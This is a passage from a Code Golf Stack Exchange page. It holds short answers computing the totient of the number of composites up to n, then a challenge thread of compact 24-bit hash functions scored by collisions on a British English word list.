input, one character at a time. ((?! # Try not to match a number that shares a factor with # the number of composites, and if so push a capture # onto stack 5. (..+)\6* # Look for a factor that's at least 2... (?<=^\6+) # Make sure we can reach back to the input with that # factor... \3$ # ...and that we're exactly at the end of the number # of composites. ))? . )* \3 # Match group 3 again to make sure that we didn't look # further than the number of composites. ) (?<-5>.)* # Finally, match one character for each coprime number we # found in the last lookahead. ``` [Answer] # PARI/GP, 27 bytes ``` n->eulerphi(n-1-primepi(n)) ``` [Answer] # [Gaia](https://github.com/splcurran/Gaia), 5 bytes ``` ṗ⁈l(t ``` [Try it online!](https://tio.run/##S0/MTPz//@HO6Y8aO3I0Sv7/NzQAAA "Gaia – Try It Online") ``` ṗ⁈l(t ~ Full program. ⁈ ~ Reject the elements that: ṗ ~ Are prime. l ~ Length. ( ~ Decrement. t ~ Euler's totient. ``` [Answer] # [Jelly](https://github.com/DennisMitchell/jelly), **7 [bytes](https://github.com/DennisMitchell/jelly/blob/master/docs/code-page.md)** ``` ÆC_@’ÆṪ ``` ### How it works ``` ÆC_@’ÆṪ Input: n ÆC Count the primes less than or equal to n. ’ Yield n - 1. _@ Subtract the count from n - 1. ÆṪ Apply Euler's totient function. ``` [Answer] # PARI/GP, 35 bytes ``` n->eulerphi(sum(x=2,n,!isprime(x))) ``` [Answer] # SageMath 26 bytes ``` euler_phi(n-1-prime_pi(n)) ``` Works well even for `n=0` and `n=1`, thanks to Sage's implementation. [Answer] # [Jelly](https://github.com/DennisMitchell/jelly), 6 bytes ``` _ÆC’ÆṪ ``` [Try it online!](https://tio.run/##y0rNyan8/z/@cJvzo4aZh9se7lz139DAIEjncPujpjVR7v8B "Jelly – Try It Online") This is a collaboration between [caird coinheringahhing](https://codegolf.stackexchange.com/users/66833/caird-coinheringaahing) and [Mr. Xcoder](https://codegolf.stackexchange.com/users/59487/mr-xcoder) in [chat](https://chat.stackexchange.com/transcript/message/40556385#40556385) # Explanation ``` _ÆC’ÆṪ ~ Full program. ÆC ~ Count the primes less than or equal to Z. _ ~ Subtract from the input. ’ ~ Decrement. ÆṪ ~ Euler's totient function. ``` [Answer] # [Ohm v2](https://github.com/MiningPotatoes/Ohm), 7 bytes ``` ³³Pl-‹φ ``` [Try it online!](https://tio.run/##y8/INfr//9DmQ5sDcnQfNew83/b/v6EBAA "Ohm v2 – Try It Online") [Answer] # Octave, ~~52~~ 51 ``` @(b)nnz((d=[1:(c=b-1-nnz(primes(b)))])(gcd(d,c)<2)) ``` *Edit: saved 1 byte thanks to Thomas Kwa* Explanation: ``` @(b) # Define anonymous func with parameter b nnz( # Count elements in φ(c) ( # d = [1: # Create d= array of 1 to π̅(b) ( c = b - 1 - nnz(primes(b)) ) # Calculate c=π̅(b) by subtracting the # number of elements in the array of prime ] # numbers from the number of ints in 2:b )(gcd(d, c) < 2) # Calculate φ(c) by using gcd to filter ) # relative primes from d ``` [Answer] ## GAP, 33 Bytes ``` n->Phi(n-Number([-2..n],IsPrime)) ``` `Number(l,p)` counts how many elements from `l` satisfy `p`. To compensate for the fact that 1 is neither prime nor composite, I have to subtract from n one more than the number of primes up to n. Instead of doing `-1` for two bytes, I start the list by -2 instead of 1 or 2, thus adding one more number that is considered prime by `IsPrime` for only one extra byte. [Answer] ## Python 3.5 - 130 bytes ``` from math import* def p(n,k,g): for i in range(1,n+1):k+=factorial(i-1)%i!=i-1 for l in range(1,k):g+=gcd(k,l)<2 return g ``` If it's not acceptable to pass the function through as p(n,0,0) then +3 bytes. This takes advantage of the fact that I use Wilson's theorem to check if a number is composite and have to call into the math module for the factorial function. Python 3.5 added a gcd function into the math module. The first loop of the code will increment k by one if the number is composite and increment by 0 else-wise. (Although Wilson's theorem only holds for integers greater than 1, it treats 1 as prime, so allows us to exploit this). The second loop will then loop over the range of number of composites and increment g only when the value of not pi and l are co-prime. g is then the number of values less than or equal to the number of composite numbers less than or equal to n. [Answer] # [Python 3](https://docs.python.org/3/) + [sympy](http://docs.sympy.org/latest/modules/ntheory.html), ~~59~~ 58 bytes *\*-1 byte by replacing `compositepi(k)` with `k+~primepi(k)`.* ``` lambda k:totient(k+~primepi(k)) from sympy.ntheory import* ``` [Try it online!](https://tio.run/##DcoxDoAgDADA3VcwUk2Mxs3En7hghECwtKldWPw6cvNx1Uhla@E42@Pwup3Ju5ImX9Tm6WNJ6DnZDDAEITRvRa5z0ehJqknIJDq23voPdl0A2g8 "Python 3 – Try It Online") [Answer] # [MATL](https://esolangs.org/wiki/MATL), 9 bytes ``` :Zp~sq_Zp ``` Uses [version (10.1.0)](https://github.com/lmendo/MATL/releases/tag/10.1.0) of the language/compiler. [**Try it online!**](http://matl.tryitonline.net/#code=OlpwfnNxX1pw&input=MTAw) ### Explanation ``` : % implicitly input a number "N" and produce array [1,2,...,N] Zp % true for entries that are prime ~ % negate. So it gives true for entries of [1,2,...,N] that are non-prime s % sum elements of array. So it gives number of non-primes q % subtract 1. Needed because number 1 is not prime, but not composite either _ % unary minus Zp % with negative input, computes totient function of absolute value of input % implicit display ``` [Answer] # [Pyt](https://github.com/mudkip201/pyt), 6 [bytes](https://github.com/mudkip201/pyt/wiki/Codepage) ``` řṗ¬Ʃ⁻Ț ``` Explanation: ``` Implicit input ř Push [1,2,...,input] ṗ [is 1 prime?, is 2 prime?, ..., is input prime?] ¬ [is 1 not prime?, is 2 not prime?, ... is input not prime?] Ʃ Number of non-primes (sums the array - booleans implicitly converted to ints) ⁻ Subtract one to remove the counting of '1' Ț Euler's totient function ``` [Try it online!](https://tio.run/##ARcA6P9weXT//8WZ4bmXwqzGqeKBu8ia//85OQ) [Answer] # APL NARS, 38 bytes, 19 chars ``` {⍵≤3:0⋄13π¯1+⍵-2π⍵} ``` 13π is the totient function and 2π is the count prime function<= its argument. Test ``` b←{⍵≤3:0⋄13π¯1+⍵-2π⍵} (⍳12),¨b¨⍳12 1 0 2 0 3 0 4 1 5 1 6 1 7 1 8 2 9 2 10 4 11 4 12 2 (95..100),¨b¨(95..100) 95 24 96 70 97 70 98 24 99 72 100 36 ``` [Answer] # [Add++](https://github.com/cairdcoinheringaahing/AddPlusPlus), 21 bytes ``` L,RþPbL1_dRdVÞ%bLG!!+ ``` [Try it online!](https://tio.run/##S0xJKSj4/99HJ@jwvoAkH8P4lKCUsMPzVJN83BUVtf@76OQmZubpOFjpVOck5ialJCoY1nJxqYAE7RQUDGEsQwMYy9QIxrK0/A8A "Add++ – Try It Online") ## How it works This simply implements \$\overline\pi(n)\$ and \$\varphi(n)\$ without using the two explicit functions (mainly because they aren't builtin). The code can therefore be split into two sections: \$\overline\pi(n)\$ and \$\varphi(n)\$. ### \$\overline\pi(n)\$ ``` RþPbL1_ ``` Here, operating on the input directly, we generate a range from **[0 .. n]** with `R`, then remove any primes with `þP` (filter false (`þ`) prime elements (`P`)). Unfortunately, this doesn't remove **1**, as it isn't prime. Therefore, after taking the number of elements left with `bL`, we decrement once `1_` to remove the count for **1**. This leaves \$x = \overline\pi(n)\$ on the stack. ### \$\varphi(n)\$ ``` dRdVÞ%bLG!!+ ``` This one is rather longer, due once again to **1**. First, we duplicate \$x\$ and create a range to operate over with `dR`. Next, we save a copy of this range for a check we'll address later. Then, using filter true `Þ%`, we remove any elements that divide \$x\$, or keep any elements that have a GCD of **1** with \$x\$. Finally, we take the length of this list with `bL`. Unfortunately, this yields **0** when the result should be **0** and \$n - 1\$ when the correct result is \$n\$. In order to fix this discrepancy, we retrieve the saved range with `G`, and convert it into a boolean value with `!!`. This makes empty ranges (which would yield **0**) into **0** and every other range into **1**. Finally, we add this value to our previous result and return it. Yes, I did really want to try the new LaTex [Answer] # [05AB1E](https://github.com/Adriandmen/05AB1E), ~~11~~ 8 bytes ``` LDpÈÏg<Õ ``` [Try it online!](https://tio.run/##MzBNTDJM/f/fx6XgcP@hnT7F3uk2h6f@/29sAAA "05AB1E – Try It Online") # How it works ``` L # this gets us the list of numbers [1 .. a] D # duplicates this list p # applies isPrime to each element of the list, vectorised. È # is the element even? (does 05AB1E not have a logical not?) Ï # push elements of the first list where the same index in the # second list is 1 g< # finds the length and subtracts 1 (as the list contains 1) # this is the not pi function Õ # euler totient function ``` ]
[Question] [ In this [code-challenge](/questions/tagged/code-challenge "show questions tagged 'code-challenge'") you will write a hash function in 140 bytes1 or less of source code. The hash function must take an ASCII string as input, and return a 24-bit unsigned integer ([0, 224-1]) as output. Your hash function will be evaluated for every word [in this large British English dictionary](https://gist.githubusercontent.com/orlp/3ff520a34ad74d547557e761d92be470/raw/british-english-huge.txt)2. Your score is the amount of words that share a hash value with another word (a collision). ### The lowest score wins, ties broken by first poster. ## Test case Before submitting, please test your scoring script on the following input: ``` duplicate duplicate duplicate duplicate ``` If it gives any score other than 4, it is buggy. --- Clarifying rules: 1. Your hash function must run on a single string, not a whole array. Also, your hash function may not do any other I/O than the input string and output integer. 2. Built-in hash functions or similar functionality (e.g. encryption to scramble bytes) is disallowed. 3. Your hash function must be deterministic. 4. Contrary to most other contests optimizing specifically for the scoring input is allowed. 1 I am aware Twitter limits characters instead of bytes, but for simplicity we will use bytes as a limit for this challenge. 2 Modified from Debian's [wbritish-huge](https://packages.debian.org/sid/wbritish-huge), removing any non-ASCII words. [Answer] # Python, 5333 4991 I believe this is the first contender to score significantly better than a random oracle. ``` def H(s):n=int(s.encode('hex'),16);return n%(8**8-ord('+%:5O![/5;QwrXsIf]\'k#!__u5O}nQ~{;/~{CutM;ItulA{uOk_7"ud-o?y<Cn~-`bl_Yb'[n%70])) ``` [Answer] # Python 2, 140 bytes, 4266 colliding words I didn’t really want to start with the non-printable bytes thing given their unclear tweetability, but well, I didn’t start it. :-P ``` 00000000: efbb bf64 6566 2066 2873 293a 6e3d 696e ...def f(s):n=in 00000010: 7428 732e 656e 636f 6465 2827 6865 7827 t(s.encode('hex' 00000020: 292c 3336 293b 7265 7475 726e 206e 2528 ),36);return n%( 00000030: 382a 2a38 2b31 2d32 3130 2a6f 7264 2827 8**8+1-210*ord(' 00000040: 6f8e 474c 9f5a b49a 01ad c47f cf84 7b53 o.GL.Z........{S 00000050: 49ea c71b 29cb 929a a53b fc62 3afb e38e I...)....;.b:... 00000060: e533 7360 982a 50a0 2a82 1f7d 768c 7877 .3s`.*P.*..}v.xw 00000070: d78a cb4f c5ef 9bdb 57b4 7745 3a07 8cb0 ...O....W.wE:... 00000080: 868f a927 5b6e 2536 375d 2929 ...'[n%67])) ``` # Python 2, 140 printable bytes, ~~4662~~ ~~4471~~ 4362 colliding words ``` def f(s):n=int(s.encode('hex'),16);return n%(8**8+3-60*ord('4BZp%(jTvy"WTf.[Lbjk6,-[LVbSvF[Vtw2e,NsR?:VxC0h5%m}F5,%d7Kt5@SxSYX-=$N>'[n%71])) ``` Inspired by the form of kasperd’s solution, obviously—but with the important addition of an affine transformation on the modulus space, and entirely different parameters. [Answer] # CJam, ~~4125~~ ~~3937~~ ~~3791~~ 3677 ``` 0000000: 7b 5f 39 62 31 31 30 25 5f 22 7d 13 25 77 {_9b110%_"}.%w 000000e: 77 5c 22 0c e1 f5 7b 83 45 85 c0 ed 08 10 w\"...{.E..... 000001c: d3 46 0c 5c 22 59 f8 da 7b f8 18 14 8e 4b .F.\"Y..{....K 000002a: 3a c1 9e 97 f8 f2 5c 18 21 63 13 c8 d3 86 :.....\.!c.... 0000038: 45 8e 64 33 61 50 96 c4 48 ea 54 3b b3 ab E.d3aP..H.T;.. 0000046: bc 90 bc 24 21 20 50 30 85 5f 7d 7d 59 2c ...$! P0._}}Y, 0000054: 4a 67 88 c8 94 29 1a 1a 1a 0f 38 c5 8a 49 Jg...)....8..I 0000062: 9b 54 90 b3 bd 23 c6 ed 26 ad b6 79 89 6f .T...#..&..y.o 0000070: bd 2f 44 6c f5 3f ae af 62 9b 22 3d 69 40 ./Dl.?..b."=i@ 000007e: 62 31 35 32 35 31 39 25 31 31 30 2a 2b 7d b152519%110*+} ``` This approach divides domain *and codomain* into 110 disjoint sets, and defines a slightly different hash function for each pair. ### Scoring / Verification ``` $ echo $LANG en_US $ cat gen.cjam "qN%{_9b110%_" [125 19 37 119 119 34 12 225 245 123 131 69 133 192 237 8 16 211 70 12 34 89 248 218 123 248 24 20 142 75 58 193 158 151 248 242 92 24 33 99 19 200 211 134 69 142 100 51 97 80 150 196 72 234 84 59 179 171 188 144 188 36 33 32 80 48 133 95 125 125 89 44 74 103 136 200 148 41 26 26 26 15 56 197 138 73 155 84 144 179 189 35 198 237 38 173 182 121 137 111 189 47 68 108 245 63 174 175 98 155] :c`"=i@b152519%110*+}%N*N" $ cjam gen.cjam > test.cjam $ cjam test.cjam < british-english-huge.txt | sort -n > temp $ head -1 temp 8 $ tail -1 temp 16776899 $ all=$(wc -l < british-english-huge.txt) $ unique=$(uniq -u < temp | wc -l) $ echo $[all - unique] 3677 ``` The following port to Python can be used with the official scoring snippet: ``` h=lambda s,b:len(s)and ord(s[-1])+b*h(s[:-1],b) def H(s): p=h(s,9)%110 return h(s,ord( '}\x13%ww"\x0c\xe1\xf5{\x83E\x85\xc0\xed\x08\x10\xd3F\x0c"Y\xf8\xda{\xf8\x18\x14\x8eK:\xc1\x9e\x97\xf8\xf2\\\x18!c\x13\xc8\xd3\x86E\x8ed3aP\x96\xc4H\xeaT;\xb3\xab\xbc\x90\xbc$! P0\x85_}}Y,Jg\x88\xc8\x94)\x1a\x1a\x1a\x0f8\xc5\x8aI\x9bT\x90\xb3\xbd#\xc6\xed&\xad\xb6y\x89o\xbd/Dl\xf5?\xae\xafb\x9b' [p]))%152519*110+p ``` [Answer] Alright fine I’ll go learn a golfing language. # CJam, 140 bytes, 3314 colliding words ``` 00000000: 7b5f 3162 225e d466 4a55 a05e 9f47 fc51 {_1b"^.fJU.^.G.Q 00000010: c45b 4965 3073 72dd e1b4 d887 a4ac bcbd .[Ie0sr......... 00000020: 9c8f 70ca 2981 b2df 745a 10d0 dfca 6cff ..p.)...tZ....l. 00000030: 7a3b 64df e730 54b4 b068 8584 5f6c 9f6b z;d..0T..h.._l.k 00000040: b7f8 7a1f a2d3 b2b8 bcf5 cfa6 1ef7 a55c ..z............\ 00000050: dca8 795c 2492 dc32 1fb6 f449 f9ca f6b7 ..y\$..2...I.... 00000060: a2cf 4772 266e ad4f d90c d236 b51d c5d5 ..Gr&n.O...6.... 00000070: 5c46 3f9b 7cb4 f195 4efc fe4a ce8d 9aee \F?.|...N..J.... 00000080: 9dbc 223d 6962 3443 2329 257d .."=ib4C#)%} ``` Defines a block (anonymous function). To test, you could add `qN%%N*N` to take the newline-separated list of words on stdin and write a newline-separated list of hashes on stdout. Equivalent Python code: ``` b=lambda s,a:reduce(lambda n,c:n*a+ord(c),s,0) f=lambda s:b(s,ord('^\xd4fJU\xa0^\x9fG\xfcQ\xc4[Ie0sr\xdd\xe1\xb4\xd8\x87\xa4\xac\xbc\xbd\x9c\x8fp\xca)\x81\xb2\xdftZ\x10\xd0\xdf\xcal\xffz;d\xdf\xe70T\xb4\xb0h\x85\x84_l\x9fk\xb7\xf8z\x1f\xa2\xd3\xb2\xb8\xbc\xf5\xcf\xa6\x1e\xf7\xa5\\\xdc\xa8y\\$\x92\xdc2\x1f\xb6\xf4I\xf9\xca\xf6\xb7\xa2\xcfGr&n\xadO\xd9\x0c\xd26\xb5\x1d\xc5\xd5\\F?\x9b|\xb4\xf1\x95N\xfc\xfeJ\xce\x8d\x9a\xee\x9d\xbc'[b(s,1)%125]))%(8**8+1) ``` # Pyth, 140 bytes, ~~3535~~ 3396 colliding words ``` 00000000: 4c25 4362 2d68 5e38 2038 2a36 3643 4022 L%Cb-h^8 8*66C@" 00000010: aa07 f29a 27a7 133a 3901 484d 3f9b 1982 ....'..:9.HM?... 00000020: d261 79ab adab 9d92 888c 3012 a280 76cf .ay.......0...v. 00000030: a2e5 8f81 7039 acee c42e bc18 28d8 efbf ....p9......(... 00000040: 0ebe 2910 9c90 158e 3742 71b4 bdf5 59c2 ..).....7Bq...Y. 00000050: f90b e291 8673 ea59 6975 10be e750 84c8 .....s.Yiu...P.. 00000060: 0b0f e7e8 f591 f628 cefa 1ab3 2e3c 72a3 .......(.....<r. 00000070: 7f09 6190 dbd2 d54e d6d0 d391 a780 ebb6 ..a....N........ 00000080: ae86 2d1e 49b0 552e 7522 4362 ..-.I.U.u"Cb ``` Defines a function named `y`. To test, you could add `jmyd.z` to take the newline-separated list of words on stdin and write a newline-separated list of hashes on stdout. Equivalent Python code: ``` b=lambda s,a:reduce(lambda n,c:n*a+ord(c),s,0) f=lambda s:b(s,256)%(8**8+1-66*ord("\xaa\x07\xf2\x9a'\xa7\x13:9\x01HM?\x9b\x19\x82\xd2ay\xab\xad\xab\x9d\x92\x88\x8c0\x12\xa2\x80v\xcf\xa2\xe5\x8f\x81p9\xac\xee\xc4.\xbc\x18(\xd8\xef\xbf\x0e\xbe)\x10\x9c\x90\x15\x8e7Bq\xb4\xbd\xf5Y\xc2\xf9\x0b\xe2\x91\x86s\xeaYiu\x10\xbe\xe7P\x84\xc8\x0b\x0f\xe7\xe8\xf5\x91\xf6(\xce\xfa\x1a\xb3.<r\xa3\x7f\ta\x90\xdb\xd2\xd5N\xd6\xd0\xd3\x91\xa7\x80\xeb\xb6\xae\x86-\x1eI\xb0U.u"[b(s,256)%121])) ``` # Theoretical limits How well can we expect to do? Here is a plot of x, the number of colliding words, vs. y, the entropy in bytes required to get at most x colliding words. For example, the point (2835, 140) tells us that a random function gets at most 2835 colliding words with probability 1/256\*\*140, so it’s exceedingly unlikely that we’ll ever be able to do much better than that with 140 bytes of code. [![graph](https://i.stack.imgur.com/S642a.png)](https://i.stack.imgur.com/S642a.png) [Answer] ## Python, 6446 6372 --- This solution achieves lower collision count than all previous entries, and it needs only 44 of the 140 bytes allowed for code: ``` H=lambda s:int(s.encode('hex'),16)%16727401 ``` [Answer] # CJam, 6273 ``` {49f^245b16777213%} ``` XOR each character with **49**, reduce the resulting string via **x, y ↦ 245x + y**, and take the residue modulo **16,777,213** (the largest 24-bit prime). ### Scoring ``` $ cat hash.cjam qN% {49f^245b16777213%} %N*N $ all=$(wc -l < british-english-huge.txt) $ unique=$(cjam hash.cjam < british-english-huge.txt | sort | uniq -u | wc -l) $ echo $[all - unique] 6273 ``` [Answer] # JavaScript (ES6), 6389 The hash function (105 bytes): ``` s=>[...s.replace(/[A-Z]/g,a=>(b=a.toLowerCase())+b+b)].reduce((a,b)=>(a<<3)*28-a^b.charCodeAt(),0)<<8>>>8 ``` The scoring function (NodeJS) (170 bytes): ``` h={},c=0,l=require('fs').readFileSync(process.argv[2],'utf8').split('\n').map(a=>h[b=F(a)]=-~h[b]) for(w of Object.getOwnPropertyNames(h)){c+=h[w]>1&&h[w]} console.log(c) ``` Call as `node hash.js dictionary.txt`, where `hash.js` is the script, `dictionary.txt` is the dictionary text file (without the final newline), and `F` is defined as the hashing function. *Thanks Neil for shaving 9 bytes off the hashing function!* [Answer] ## Mathematica, 6473 The next step up... instead of summing the character codes we treat them as the digits of a base-151 number, before taking them modulo 224. ``` hash[word_] := Mod[FromDigits[ToCharacterCode @ word, 151], 2^24] ``` Here is a short script to determine the number of collisions: ``` Total[Last /@ DeleteCases[Tally[hash /@ words], {_, 1}]] ``` I've just tried all bases systematically from `1` onwards, and so far base 151 yielded the fewest collisions. I'll try a few more to bring down the score a bit further, but the testing is a bit slow. [Answer] # Javascript (ES5), 6765 This is CRC24 shaved down to 140 Bytes. Could golf more but wanted to get my answer in :) ``` function(s){c=0xb704ce;i=0;while(s[i]){c^=(s.charCodeAt(i++)&255)<<16;for(j=0;j++<8;){c<<=1;if(c&0x1000000)c^=0x1864cfb}}return c&0xffffff} ``` Validator in node.js: ``` var col = new Array(16777215); var n = 0; var crc24_140 = function(s){c=0xb704ce;i=0;while(s[i]){c^=(s.charCodeAt(i++)&255)<<16;for(j=0;j++<8;){c<<=1;if(c&0x1000000)c^=0x1864cfb}}return c&0xffffff} require('fs').readFileSync('./dict.txt','utf8').split('\n').map(function(s){ var h = crc24_140(s); if (col[h]===1) { col[h]=2; n+=2; } else if (col[h]===2) { n++; } else { col[h]=1; } }); console.log(n); ``` [Answer] # Python, 340053 A terrible score from a terrible algorithm, this answer exists more to give a small Python script that displays scoring. ``` H=lambda s:sum(map(ord, s))%(2**24) ``` To score: ``` hashes = [] with open("british-english-huge.txt") as f: for line in f: word = line.rstrip("\n") hashes.append(H(word)) from collections import Counter print(sum(v for k, v in Counter(hashes).items() if v > 1)) ``` [Answer] # Python, ~~6390~~ ~~6376~~ 6359 ``` H=lambda s:reduce(lambda a,x:a*178+ord(x),s,0)%(2**24-48) ``` May be considered a trivial modification to [Martin Büttner's answer](https://codegolf.stackexchange.com/a/76784/39244). [Answer] ## Python, 9310 --- Yeah, not the best, but at least it is something. As we say in crypto, [never write your own hash function](http://locklessinc.com/articles/crypto_hash/). This is exactly 140 bytes long, as well. ``` F=lambda x,o=ord,m=map:int((int(''.join(m(lambda z:str(o(z)^o(x[-x.find(z)])^o(x[o(z)%len(x)])),x)))^(sum(m(int,m(o,x))))^o(x[-1]))%(2**24)) ``` [Answer] ## Matlab, 30828 8620 6848 It builds the hash by assigning a prime number to each ascii character/position combo and calculating their product for each word modulo the largest prime smaller than 2^24. Note that for testing I moved the call to primes outside into the tester directly before the while loop and passed it into the hash function, because it sped it up by about a factor of 1000, but this version works, and is self-contained. It may crash with words longer than about 40 characters. ``` function h = H(s) p = primes(1e6); h = 1; for i=1:length(s) h = mod(h*p(double(s(i))*i),16777213); end end ``` Tester: ``` clc clear variables close all file = fopen('british-english-huge.txt'); hashes = containers.Map('KeyType','uint64','ValueType','uint64'); words = 0; p = primes(1e6); while ~feof(file) words = words + 1; word = fgetl(file); hash = H(word,p); if hashes.isKey(hash) hashes(hash) = hashes(hash) + 1; else hashes(hash) = 1; end end collisions = 0; for key=keys(hashes) if hashes(key{1})>1 collisions = collisions + hashes(key{1}); end end ``` [Answer] ## Ruby, 9309 collisions, 107 bytes ``` def hash(s);require'prime';p=Prime.first(70);(0...s.size).reduce(0){|a,i|a+=p[i]**(s[i].ord)}%(2**24-1);end ``` Not a good contender, but I wanted to explore a different idea from other entries. Assign the first n primes to the first n positions of the string, then sum all prime[i] \*\* (ascii code of string[i]), then mod 2\*\*24-1. [Answer] # Java 8, 7054 6467 This is inspired by (but not copied from) the builtin java.lang.String.hashCode function, so feel free to disallow according to rule #2. ``` w -> { return w.chars().reduce(53, (acc, c) -> Math.abs(acc * 79 + c)) % 16777216; }; ``` To score: ``` import java.nio.file.Files; import java.nio.file.Paths; import java.util.HashMap; import java.util.List; import java.util.Map; import java.util.function.Function; public class TweetableHash { public static void main(String[] args) throws Exception { List<String> words = Files.readAllLines(Paths.get("british-english-huge.txt")); Function<String, Integer> hashFunc = w -> { return w.chars().reduce(53, (acc, c) -> Math.abs(acc * 79 + c)) % 16777216; }; Map<Integer, Integer> hashes = new HashMap<>(); for (String word : words) { int hash = hashFunc.apply(word); if (hash < 0 || hash >= 16777216) { throw new Exception("hash too long for word: " + word + " hash: " + hash); } Integer numOccurences = hashes.get(hash); if (numOccurences == null) { numOccurences = 0; } numOccurences++; hashes.put(hash, numOccurences); } int numCollisions = hashes.values().stream().filter(i -> i > 1).reduce(Integer::sum).get(); System.out.println("num collisions: " + numCollisions); } } ``` [Answer] # Python, ~~6995~~ ~~6862~~ 6732 Just a simple RSA function. Pretty lame, but beats some answers. ``` M=0x5437b3a3b1 P=0x65204c34d def H(s): n=0 for i in range(len(s)): n+=pow(ord(s[i]),P,M)<<i return n%(8**8) ``` [Answer] # C++: 7112 6694 6483 6479 6412 6339 collisions, 90 bytes I implemented a naïve genetic algorithm for my coefficient array. I'll update this code as it finds better ones. :) ``` int h(const char*s){uint32_t t=0,p=0;while(*s)t="cJ~Z]q"[p++%6]*t+*s++;return t%16777213;} ``` Test function: ``` int main(void) { std::map<int, int> shared; std::string s; while (std::cin >> s) { shared[h(s.c_str())]++; } int count = 0; for (auto c : shared) { if ((c.first & 0xFFFFFF) != c.first) { std::cerr << "invalid hash: " << c.first << std::endl; } if (c.second > 1) { count += c.second; } } std::cout << count << std::endl; return 0; } ``` [Answer] # C#, 6251 6335 ``` int H(String s){int h = 733;foreach (char c in s){h = (h * 533 + c);}return h & 0xFFFFFF;} ``` The constants 533 and 733 889 and 155 give the best score out of all of the ones I've searched so far. [Answer] # tcl ## 88 bytes, 6448 / 3233 collisions I see people have been counting either the number of colliding words, or else the number of words placed in nonempty buckets. I give both counts - the first is according to the problem specification, and the second is what more posters have been reporting. ``` # 88 bytes, 6448 collisions, 3233 words in nonempty buckets puts "[string length {proc H w {incr h;lmap c [split $w {}] {set h [expr (2551*$h+[scan $c %c])%2**24]};set h}}] bytes" proc H w {incr h;lmap c [split $w {}] {set h [expr (2551*$h+[scan $c %c])%2**24]};set h} # change 2551 above to: # 7: 85 bytes, 25839 colliding words, 13876 words in nonempty buckets # 97: 86 bytes, 6541 colliding words, 3283 words in nonempty buckets # 829: 87 bytes, 6471 colliding words, 3251 words in nonempty buckets # validation program set f [open ~/Downloads/british-english-huge.txt r] set words [split [read $f] \n] close $f set have {}; # dictionary whose keys are hash codes seen foreach w $words { if {$w eq {}} continue set h [H $w] dict incr have $h } set coll 0 dict for {- count} $have { if {$count > 1} { incr coll $count } } puts "found $coll collisions" ``` [Answer] ## Python 3, 89 bytes, 6534 hash collisions ``` def H(x): v=846811 for y in x: v=(972023*v+330032^ord(y))%2**24 return v%2**24 ``` All the large magic numbers you see here are fudge constants. [Answer] ## JavaScript, 121 bytes, ~~3268~~ ~~3250~~ ~~3244~~ 6354(3185) collisions ``` s=>{v=i=0;[...s].map(z=>{v=((((v*13)+(s.length-i)*7809064+i*380886)/2)^(z.charCodeAt(0)*266324))&16777215;i++});return v} ``` Parameters (13, 7809064, 380886, 2, 266324) are by trial and error. Still optimizable I think, and there is still room for adding extra parameters, working for further optimization... ## Verification ``` hashlist = []; conflictlist = []; for (x = 0; x < britain.length; x++) { hash = h(britain[x]); //britain is the 340725-entry array hashlist.push(hash); } conflict = 0; now_result = -1; (sortedlist = sort(hashlist)).map(v => { if (v == now_result) { conflict++; conflictlist.push(v); } else now_result = v; }); console.log(conflictlist); var k = 0; while (k < conflictlist.length) { if (k < conflictlist.length - 1 && conflictlist[k] == conflictlist[k+1]) conflictlist.splice(k,1); else k++; } console.log(conflict + " " + (conflict+conflictlist.length)); ``` --- 3268 > 3250 - Changed the 3rd parameter from 380713 to 380560. 3250 > 3244 - Changed the 3rd parameter from 380560 to 380886. 3244 > 6354 - Changed the 2nd parameter from 7809143 to 7809064, and found I've used the wrong calculation method ;P [Answer] Here are a few similar constructs, which are quite "seedable" and makes incremental parameter optimization possible. Damn it is difficult to get lower than 6k! Assuming the score has the mean of 6829 and std of 118 I also calculated the likelihood of getting such low scores by random. **Clojure A, 6019, Pr = 1:299.5e9** ``` #(reduce(fn[r i](mod(+(* r 811)i)16777213))(map *(cycle(map int"~:XrBaXYOt3'tH-x^W?-5r:c+l*#*-dtR7WYxr(CZ,R6J7=~vk"))(map int %))) ``` **Clojure B, 6021, Pr = 1:266.0e9** ``` #(reduce(fn[r i](mod(+(* r 263)i)16777213))(map *(cycle(map int"i@%(J|IXt3&R5K'XOoa+Qk})w<!w[|3MJyZ!=HGzowQlN"))(map int %)(rest(range)))) ``` **Clojure C, 6148, Pr = 1:254.0e6** ``` #(reduce(fn[r i](mod(+(* r 23)i)16777213))(map *(cycle(map int"ZtabAR%H|-KrykQn{]u9f:F}v#OI^so3$x54z2&gwX<S~"))(for[c %](bit-xor(int c)3)))) ``` **Clojure, 6431, Pr = 1:2.69e3 (something different)** ``` #(mod(reduce bit-xor(map(fn[i[a b c]](bit-shift-left(* a b)(mod(+ i b c)19)))(range)(partition 3 1(map int(str"w"%"m")))))16776869) ``` This was my original ad-hoc hash function, it has four tunable parameters. [Answer] # tcl ~~#91 bytes, 6508 collisions~~ # 91 bytes, 6502 collisions ``` proc H s {lmap c [split $s ""] {incr h [expr [scan $c %c]*875**[incr i]]};expr $h&0xFFFFFF} ``` Computer is still performing a search to evaluate if there is a value that causes less collisions than the ~~147~~ 875 base, which is still the recordist. [Answer] ## Ruby, 6473 collisions, 129 bytes ``` h=->(w){@p=@p||(2..999).select{|i|(2..i**0.5).select{|j|i%j==0}==[]};c=w.chars.reduce(1){|a,s|(a*@p[s.ord%92]+179)%((1<<24)-3)}} ``` The @p variable is filled with all the primes below 999. This converts ascii values into primes numbers and takes their product modulo a large prime. The fudge factor of 179 deals with the fact that the original algorithm was for use in finding anagrams, where all words that are rearrangements of the same letters get the same hash. By adding the factor in the loop, it makes anagrams have distinct codes. I could remove the \*\*0.5 (sqrt test for prime) at the expense of poorer performance to shorten the code. I could even make the prime number finder execute in the loop to remove nine more characters, leaving 115 bytes. To test, the following tries to find the best value for the fudge factor in the range 1 to 300. It assume that the word file in in the /tmp directory: ``` h=->(w,y){ @p=@p||(2..999). select{|i|(2..i**0.5). select{|j|i%j==0}==[]}; c=w.chars.reduce(1){|a,s|(a*@p[s.ord%92]+y)%((1<<24)-3)} } american_dictionary = "/usr/share/dict/words" british_dictionary = "/tmp/british-english-huge.txt" words = (IO.readlines british_dictionary).map{|word| word.chomp}.uniq wordcount = words.size fewest_collisions = 9999 (1..300).each do |y| whash = Hash.new(0) words.each do |w| code=h.call(w,y) whash[code] += 1 end hashcount = whash.size collisions = whash.values.select{|count| count > 1}.inject(:+) if (collisions < fewest_collisions) puts "y = #{y}. #{collisions} Collisions. #{wordcount} Unique words. #{hashcount} Unique hash values" fewest_collisions = collisions end end ``` ]
